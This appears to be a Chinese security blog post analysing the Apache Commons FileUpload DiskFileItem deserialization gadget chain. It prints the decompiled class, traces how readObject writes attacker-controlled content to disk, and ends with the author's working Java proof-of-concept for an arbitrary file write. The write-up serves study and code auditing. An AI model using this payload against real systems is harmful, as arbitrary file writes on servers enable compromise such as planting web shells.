freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

FileUpload1 反序列化漏洞(1)
2025-01-21 19:25:22
所属地 甘肃省

payload

//  
// Source code recreated from a .class file by IntelliJ IDEA  
// (powered by FernFlower decompiler)  
//  
  
package org.apache.commons.fileupload.disk;  
  
import java.io.BufferedInputStream;  
import java.io.BufferedOutputStream;  
import java.io.ByteArrayInputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.InputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.io.OutputStream;  
import java.io.UnsupportedEncodingException;  
import java.util.Map;  
import java.util.UUID;  
import java.util.concurrent.atomic.AtomicInteger;  
import org.apache.commons.fileupload.FileItem;  
import org.apache.commons.fileupload.FileItemHeaders;  
import org.apache.commons.fileupload.FileUploadException;  
import org.apache.commons.fileupload.ParameterParser;  
import org.apache.commons.fileupload.util.Streams;  
import org.apache.commons.io.IOUtils;  
import org.apache.commons.io.output.DeferredFileOutputStream;  
  
public class DiskFileItem implements FileItem {  
    private static final long serialVersionUID = 2237570099615271025L;  
    public static final String DEFAULT_CHARSET = "ISO-8859-1";  
    private static final String UID = UUID.randomUUID().toString().replace('-', '_');  
    private static final AtomicInteger COUNTER = new AtomicInteger(0);  
    private String fieldName;  
    private String contentType;  
    private boolean isFormField;  
    private String fileName;  
    private long size = -1L;  
    private int sizeThreshold;  
    private File repository;  
    private byte[] cachedContent;  
    private transient DeferredFileOutputStream dfos;  
    private transient File tempFile;  
    private File dfosFile;  
    private FileItemHeaders headers;  
  
    public DiskFileItem(String fieldName, String contentType, boolean isFormField, String fileName, int sizeThreshold, File repository) {  
        this.fieldName = fieldName;  
        this.contentType = contentType;  
        this.isFormField = isFormField;  
        this.fileName = fileName;  
        this.sizeThreshold = sizeThreshold;  
        this.repository = repository;  
    }  
  
    public InputStream getInputStream() throws IOException {  
        if (!this.isInMemory()) {  
            return new FileInputStream(this.dfos.getFile());  
        } else {  
            if (this.cachedContent == null) {  
                this.cachedContent = this.dfos.getData();  
            }  
  
            return new ByteArrayInputStream(this.cachedContent);  
        }  
    }  
  
    public String getContentType() {  
        return this.contentType;  
    }  
  
    public String getCharSet() {  
        ParameterParser parser = new ParameterParser();  
        parser.setLowerCaseNames(true);  
        Map<String, String> params = parser.parse(this.getContentType(), ';');  
        return (String)params.get("charset");  
    }  
  
    public String getName() {  
        return Streams.checkFileName(this.fileName);  
    }  
  
    public boolean isInMemory() {  
        return this.cachedContent != null ? true : this.dfos.isInMemory();  
    }  
  
    public long getSize() {  
        if (this.size >= 0L) {  
            return this.size;  
        } else if (this.cachedContent != null) {  
            return (long)this.cachedContent.length;  
        } else {  
            return this.dfos.isInMemory() ? (long)this.dfos.getData().length : this.dfos.getFile().length();  
        }  
    }  
  
    public byte[] get() {  
        if (this.isInMemory()) {  
            if (this.cachedContent == null) {  
                this.cachedContent = this.dfos.getData();  
            }  
  
            return this.cachedContent;  
        } else {  
            byte[] fileData = new byte[(int)this.getSize()];  
            InputStream fis = null;  
  
            try {  
                fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));  
                ((InputStream)fis).read(fileData);  
            } catch (IOException var12) {  
                fileData = null;  
            } finally {  
                if (fis != null) {  
                    try {  
                        ((InputStream)fis).close();  
                    } catch (IOException var11) {  
                    }  
                }  
  
            }  
  
            return fileData;  
        }  
    }  
  
    public String getString(String charset) throws UnsupportedEncodingException {  
        return new String(this.get(), charset);  
    }  
  
    public String getString() {  
        byte[] rawdata = this.get();  
        String charset = this.getCharSet();  
        if (charset == null) {  
            charset = "ISO-8859-1";  
        }  
  
        try {  
            return new String(rawdata, charset);  
        } catch (UnsupportedEncodingException var4) {  
            return new String(rawdata);  
        }  
    }  
  
    public void write(File file) throws Exception {  
        if (this.isInMemory()) {  
            FileOutputStream fout = null;  
  
            try {  
                fout = new FileOutputStream(file);  
                fout.write(this.get());  
            } finally {  
                if (fout != null) {  
                    fout.close();  
                }  
  
            }  
        } else {  
            File outputFile = this.getStoreLocation();  
            if (outputFile == null) {  
                throw new FileUploadException("Cannot write uploaded file to disk!");  
            }  
  
            this.size = outputFile.length();  
            if (!outputFile.renameTo(file)) {  
                BufferedInputStream in = null;  
                BufferedOutputStream out = null;  
  
                try {  
                    in = new BufferedInputStream(new FileInputStream(outputFile));  
                    out = new BufferedOutputStream(new FileOutputStream(file));  
                    IOUtils.copy(in, out);  
                } finally {  
                    if (in != null) {  
                        try {  
                            in.close();  
                        } catch (IOException var19) {  
                        }  
                    }  
  
                    if (out != null) {  
                        try {  
                            out.close();  
                        } catch (IOException var18) {  
                        }  
                    }  
  
                }  
            }  
        }  
  
    }  
  
    public void delete() {  
        this.cachedContent = null;  
        File outputFile = this.getStoreLocation();  
        if (outputFile != null && outputFile.exists()) {  
            outputFile.delete();  
        }  
  
    }  
  
    public String getFieldName() {  
        return this.fieldName;  
    }  
  
    public void setFieldName(String fieldName) {  
        this.fieldName = fieldName;  
    }  
  
    public boolean isFormField() {  
        return this.isFormField;  
    }  
  
    public void setFormField(boolean state) {  
        this.isFormField = state;  
    }  
  
    public OutputStream getOutputStream() throws IOException {  
        if (this.dfos == null) {  
            File outputFile = this.getTempFile();  
            this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
        }  
  
        return this.dfos;  
    }  
  
    public File getStoreLocation() {  
        return this.dfos == null ? null : this.dfos.getFile();  
    }  
  
    protected void finalize() {  
        File outputFile = this.dfos.getFile();  
        if (outputFile != null && outputFile.exists()) {  
            outputFile.delete();  
        }  
  
    }  
  
    protected File getTempFile() {  
        if (this.tempFile == null) {  
            File tempDir = this.repository;  
            if (tempDir == null) {  
                tempDir = new File(System.getProperty("java.io.tmpdir"));  
            }  
  
            String tempFileName = String.format("upload_%s_%s.tmp", UID, getUniqueId());  
            this.tempFile = new File(tempDir, tempFileName);  
        }  
  
        return this.tempFile;  
    }  
  
    private static String getUniqueId() {  
        int limit = 100000000;  
        int current = COUNTER.getAndIncrement();  
        String id = Integer.toString(current);  
        if (current < 100000000) {  
            id = ("00000000" + id).substring(id.length());  
        }  
  
        return id;  
    }  
  
    public String toString() {  
        return String.format("name=%s, StoreLocation=%s, size=%s bytes, isFormField=%s, FieldName=%s", this.getName(), this.getStoreLocation(), this.getSize(), this.isFormField(), this.getFieldName());  
    }  
  
    private void writeObject(ObjectOutputStream out) throws IOException {  
        if (this.dfos.isInMemory()) {  
            this.cachedContent = this.get();  
        } else {  
            this.cachedContent = null;  
            this.dfosFile = this.dfos.getFile();  
        }  
  
        out.defaultWriteObject();  
    }  
  
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
        in.defaultReadObject();  
        OutputStream output = this.getOutputStream();  
        if (this.cachedContent != null) {  
            output.write(this.cachedContent);  
        } else {  
            FileInputStream input = new FileInputStream(this.dfosFile);  
            IOUtils.copy(input, output);  
            this.dfosFile.delete();  
            this.dfosFile = null;  
        }  
  
        output.close();  
        this.cachedContent = null;  
    }  
  
    public FileItemHeaders getHeaders() {  
        return this.headers;  
    }  
  
    public void setHeaders(FileItemHeaders pHeaders) {  
        this.headers = pHeaders;  
    }  
}

分析

getObject函数中,将文件影响分为了几类:

command = "write;C:\\Users\\Cheng\\Desktop\\Files;232323";
// 按照不同方式,分类
if (parts.length == 3 && "copyAndDelete".equals(parts[0])) {  
    return copyAndDelete(parts[1], parts[2]);  
} else if (parts.length == 3 && "write".equals(parts[0])) {  
    return write(parts[1], parts[2].getBytes("US-ASCII"));  
} else if (parts.length == 3 && "writeB64".equals(parts[0])) {  
    return write(parts[1], Base64.decodeBase64(parts[2]));  
} else if (parts.length == 3 && "writeOld".equals(parts[0])) {  
    return writePre131(parts[1], parts[2].getBytes("US-ASCII"));  
} else if (parts.length == 3 && "writeOldB64".equals(parts[0])) {  
    return writePre131(parts[1], Base64.decodeBase64(parts[2]));

下面逐一分析:

write分析

总体分析

从readobject开始分析,发现核心写入文件的是在output.write(this.cachedContent); ,意味着this.cachedContent是需要关注的核心。

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {  
    in.defaultReadObject();  
    OutputStream output = this.getOutputStream();  
    if (this.cachedContent != null) {  
        output.write(this.cachedContent);  
    } else {  
        FileInputStream input = new FileInputStream(this.dfosFile);  
        IOUtils.copy(input, output);  
        this.dfosFile.delete();  
        this.dfosFile = null;  
    }  
  
    output.close();  
    this.cachedContent = null;  
}

在writeobject方法中,存在对this.cachedContent的赋值:this.cachedContent = this.get();

private void writeObject(ObjectOutputStream out) throws IOException {  
    if (this.dfos.isInMemory()) {  
        this.cachedContent = this.get();  
    } else {  
        this.cachedContent = null;  
        this.dfosFile = this.dfos.getFile();  
    }  
  
    out.defaultWriteObject();  
}

接下来分析get

public byte[] get() {  
    if (this.isInMemory()) {  
        if (this.cachedContent == null) {  
            this.cachedContent = this.dfos.getData();  
        }  
  
        return this.cachedContent;  
    } else {  
        byte[] fileData = new byte[(int)this.getSize()];  
        InputStream fis = null;  
  
        try {  
            fis = new BufferedInputStream(new FileInputStream(this.dfos.getFile()));  
            ((InputStream)fis).read(fileData);  
        } catch (IOException var12) {  
            fileData = null;  
        } finally {  
            if (fis != null) {  
                try {  
                    ((InputStream)fis).close();  
                } catch (IOException var11) {  
                }  
            }  
  
        }  
  
        return fileData;  
    }  
}

debug后,发现是在this.cachedContent = this.dfos.getData();当中进行了赋值。
那么如果能够控制dfos,就可以实现文件内容的控制。

于是payload当中的这段代码便可以解释了。

Reflections.setFieldValue(diskFileItem, "dfos", dfos);

这一段也是可以解释的(此处为了方便理解,我换了一种方式):

File outputFile = new File(filePath);  
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);  
        dfos.write(data);  
/*        OutputStream os = (OutputStream)Reflections.getFieldValue(dfos, "memoryOutputStream");  
        os.write(data);*/

刚刚说要控制get当中的dfos,那么通过反射来控制是最简单的方式了:

File repository = new File(repoPath);  
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);

细节A

makePayload(data.length + 1, dir, dir + "/whatever", data);时为什么要传出这几个参数,他们的用处是上面?

data.length + 1
对应DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);当中的thresh,为文件单次写入的阈值。

  • 当写入的数据量小于或等于 threshold 时,数据会被存储在内存中。

  • 当写入的数据量超过 threshold 时,DeferredFileOutputStream 会自动切换到磁盘存储。
    于是为了写入到存储当中,必须要data.length+1

repoPath

File repository = new File(repoPath);  
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);

首先来说DiskFileItem:
DiskFileItem的主要功能是封装上传的文件或表单字段数据,并根据配置动态决定将数据存储在内存中还是磁盘上。当文件大小小于指定的阈值时,数据会存储在内存中;当文件大小超过阈值时,数据会被写入磁盘上的临时文件。

  • fieldName:表单字段的名称。

  • contentType:上传文件的 MIME 类型。

  • isFormField:是否为普通表单字段(非文件字段)。

  • fileName:上传文件的原始文件名。

  • sizeThreshold:内存存储的大小阈值(单位为字节)。当文件大小超过此值时,数据将存储到磁盘。

  • repository:当文件存储到磁盘时,临时文件存放的目录

实际上repoPath是临时文件存放的目录

filePath

File outputFile = new File(filePath);
        DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
        dfos.write(data);

outputFile是一个File对象,表示当数据量超过threshold时,数据将被写入的目标文件路径。这个参数的作用是明确指定数据在磁盘上的存储位置,也就是上文当中实际的写入路径。

细节B

为什么没有写入到/whatever下?
makepayload的时候修改阈值为较小的数即可。

但是如果数字较小,那么在正向序列化构造payload的时候,就会生成一个whatever文件。

细节C

为什么Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);会有这一步?

一路向上找,可以到getOutputStream->readObject下。

如果没有这段代码,执行payload后无事发生,结合刚刚的问题,应该是没有写入到存储当中,是写入到了内存当中。

打点,开始debug!

最后在

DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 1111, repository);

此处将sizeThreshold设置为1111,为了防止序列化对象的时候创建文件,所以将值设置了很大,但是在后面为dfos赋值的时候,如果将值设置的过大,会导致无法将内容写入到磁盘当中。

public OutputStream getOutputStream() throws IOException {  
    if (this.dfos == null) {  
        File outputFile = this.getTempFile();  
        this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
    }

总结

1、org.apache.commons.fileupload.disk.DiskFileItem#readObject下的

OutputStream output = this.getOutputStream();
output.write(this.cachedContent);

可以对任意位置的任意文件进行写入,于是便想控制this.getOutputStream()this.cachedContent

2、 前者在org.apache.commons.fileupload.disk.DiskFileItem#getOutputStream

public OutputStream getOutputStream() throws IOException {  
    if (this.dfos == null) {  
        File outputFile = this.getTempFile();  
        this.dfos = new DeferredFileOutputStream(this.sizeThreshold, outputFile);  
    }  
  
    return this.dfos;  
}

此处只能控制this.sizeThreshold,当前来说,控制此变量的意义不大,暂时先搁置。

3、后者在org.apache.commons.fileupload.disk.DiskFileItem#writeObject时,通过get来赋值:

private void writeObject(ObjectOutputStream out) throws IOException {  
    if (this.dfos.isInMemory()) {  
        this.cachedContent = this.get();  
    } else {  
        this.cachedContent = null;  
        this.dfosFile = this.dfos.getFile();  
    }  
  
    out.defaultWriteObject();  
}

4、在get当中,又通过this.dfos.getData()来进行赋值,于是对dfos进行控制。

public byte[] get() {  
    if (this.isInMemory()) {  
        if (this.cachedContent == null) {  
            this.cachedContent = this.dfos.getData();  
        }  
  
        return this.cachedContent;

5、这是初步构造的payload:

public class Fileupload2 {  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {  
        // DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);  
        DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));  
        Class<? extends DiskFileItem> aClass = dfi.getClass();  
        Field dfos = aClass.getDeclaredField("dfos");  
        dfos.setAccessible(true);  
  
        // 构造dfos  
        DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(0, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));  
        dfos_.write("hackit!".getBytes());  
        dfos.set(dfi,dfos_);  
  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));  
        oos.writeObject(dfi);  
  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));  
        Object o = ois.readObject();  
    }  
}

但是在debug后,在readobject之前已经完成了对文件的写入,于是将dfos_的参数修改为比较大的值,也就避免了提前进行文件写入。

为什么考虑到修改DeferredFileOutputStream不是DiskFileItem的?
DiskFileItem没有调用write等类似的方法,肯定没有提前写入文件!

6、这是我的payload:

package com.kiwi.fileupload;  
  
import org.apache.commons.fileupload.disk.DiskFileItem;  
import org.apache.commons.io.output.DeferredFileOutputStream;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
  
public class Fileupload2 {  
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {  
        // DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, (File)null);  
        DiskFileItem dfi = new DiskFileItem("test","application/octet-stream",false,"1111",0,new File("C:\\Users\\Cheng\\Desktop\\Files"));  
        Class<? extends DiskFileItem> aClass = dfi.getClass();  
        Field dfos = aClass.getDeclaredField("dfos");  
        dfos.setAccessible(true);  
  
        // 构造dfos  
        DeferredFileOutputStream dfos_ = new DeferredFileOutputStream(10000, new File("C:\\Users\\Cheng\\Desktop\\Files\\1111"));  
        dfos_.write("hackit!".getBytes());  
        dfos.set(dfi,dfos_);  
  
        ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get(".\\1111")));  
        oos.writeObject(dfi);  
  
        ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(".\\1111")));  
        Object o = ois.readObject();  
    }  
}
# web安全 # 系统安全 # 代码审计 # 代码安全 # Java代码审计
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者
文章目录